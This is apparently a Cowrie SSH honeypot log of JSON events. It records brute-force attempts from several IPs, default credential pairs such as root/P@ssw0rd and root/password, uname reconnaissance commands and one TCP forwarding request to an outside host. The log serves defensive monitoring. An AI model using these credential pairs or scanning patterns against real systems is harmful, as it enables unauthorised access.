{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:20:01.642410Z","src_ip":"92.118.39.92","session":"7fb918462167","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:20:02.037639Z","src_ip":"92.118.39.92","session":"7fb918462167","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:20:02.307481Z","src_ip":"92.118.39.92","session":"7fb918462167","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:20:02.311484Z","src_ip":"92.118.39.92","session":"7fb918462167","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:20:02.431690Z","src_ip":"92.118.39.92","session":"7fb918462167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:20:02.438369Z","src_ip":"92.118.39.92","session":"7fb918462167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.73.84.45","src_port":46943,"dst_ip":"10.17.0.5","dst_port":22,"session":"3016e65d5d29","protocol":"ssh","message":"New connection: 185.73.84.45:46943 (10.17.0.5:22) [session: 3016e65d5d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:20:36.268872Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:20:36.393493Z","src_ip":"185.73.84.45","session":"3016e65d5d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":42240,"dst_ip":"159.203.135.109","dst_port":22,"session":"16abf3c3fc7b","protocol":"ssh","message":"New connection: 193.32.162.151:42240 (159.203.135.109:22) [session: 16abf3c3fc7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:21:06.561132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:21:06.565475Z","src_ip":"193.32.162.151","session":"16abf3c3fc7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:21:06.663826Z","src_ip":"193.32.162.151","session":"16abf3c3fc7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hmsftp","password":"hmsftp","message":"login attempt [hmsftp/hmsftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:21:07.025080Z","src_ip":"193.32.162.151","session":"16abf3c3fc7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:21:08.133664Z","src_ip":"193.32.162.151","session":"16abf3c3fc7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":58324,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a955679067a","protocol":"ssh","message":"New connection: 92.118.39.92:58324 (10.17.0.5:22) [session: 6a955679067a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:22:19.238460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:22:19.242982Z","src_ip":"92.118.39.92","session":"6a955679067a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:22:19.361708Z","src_ip":"92.118.39.92","session":"6a955679067a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"password","message":"login attempt [root/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:22:19.708690Z","src_ip":"92.118.39.92","session":"6a955679067a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:22:20.045323Z","src_ip":"92.118.39.92","session":"6a955679067a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:22:20.048517Z","src_ip":"92.118.39.92","session":"6a955679067a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:22:20.202853Z","src_ip":"92.118.39.92","session":"6a955679067a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:22:20.207793Z","src_ip":"92.118.39.92","session":"6a955679067a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":36494,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f72a9307314","protocol":"ssh","message":"New connection: 195.178.110.218:36494 (159.203.135.109:22) [session: 4f72a9307314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:22:29.264182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:22:29.268485Z","src_ip":"195.178.110.218","session":"4f72a9307314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:22:29.348599Z","src_ip":"195.178.110.218","session":"4f72a9307314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:22:29.588261Z","src_ip":"195.178.110.218","session":"4f72a9307314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:22:30.670236Z","src_ip":"195.178.110.218","session":"4f72a9307314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":58122,"dst_ip":"159.203.135.109","dst_port":22,"session":"a72fa6162241","protocol":"ssh","message":"New connection: 193.32.162.151:58122 (159.203.135.109:22) [session: a72fa6162241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:23:18.946734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:23:18.953955Z","src_ip":"193.32.162.151","session":"a72fa6162241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:23:19.056420Z","src_ip":"193.32.162.151","session":"a72fa6162241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"loginuser","password":"sophos","message":"login attempt [loginuser/sophos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:23:19.498863Z","src_ip":"193.32.162.151","session":"a72fa6162241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:23:20.648348Z","src_ip":"193.32.162.151","session":"a72fa6162241","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":46732,"dst_ip":"10.17.0.5","dst_port":22,"session":"263667310c37","protocol":"ssh","message":"New connection: 92.118.39.92:46732 (10.17.0.5:22) [session: 263667310c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:35.131111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:35.135487Z","src_ip":"92.118.39.92","session":"263667310c37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:35.240776Z","src_ip":"92.118.39.92","session":"263667310c37","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:35.567414Z","src_ip":"92.118.39.92","session":"263667310c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:35.821189Z","src_ip":"92.118.39.92","session":"263667310c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:35.824595Z","src_ip":"92.118.39.92","session":"263667310c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:35.935349Z","src_ip":"92.118.39.92","session":"263667310c37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:35.940236Z","src_ip":"92.118.39.92","session":"263667310c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":42364,"dst_ip":"10.17.0.5","dst_port":22,"session":"623877b74406","protocol":"ssh","message":"New connection: 77.90.185.17:42364 (10.17.0.5:22) [session: 623877b74406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:50.665071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:50.669239Z","src_ip":"77.90.185.17","session":"623877b74406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:50.778845Z","src_ip":"77.90.185.17","session":"623877b74406","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"","message":"login attempt [root/] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:51.312507Z","src_ip":"77.90.185.17","session":"623877b74406","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.208.199.116","dst_port":443,"src_ip":"77.90.185.17","src_port":44888,"message":"direct-tcp connection request to 52.208.199.116:443 from 127.0.0.1:44888","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:52.645432Z","session":"623877b74406","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.208.199.116","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.208.199.116:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:52.994715Z","src_ip":"77.90.185.17","session":"623877b74406","protocol":"ssh"}
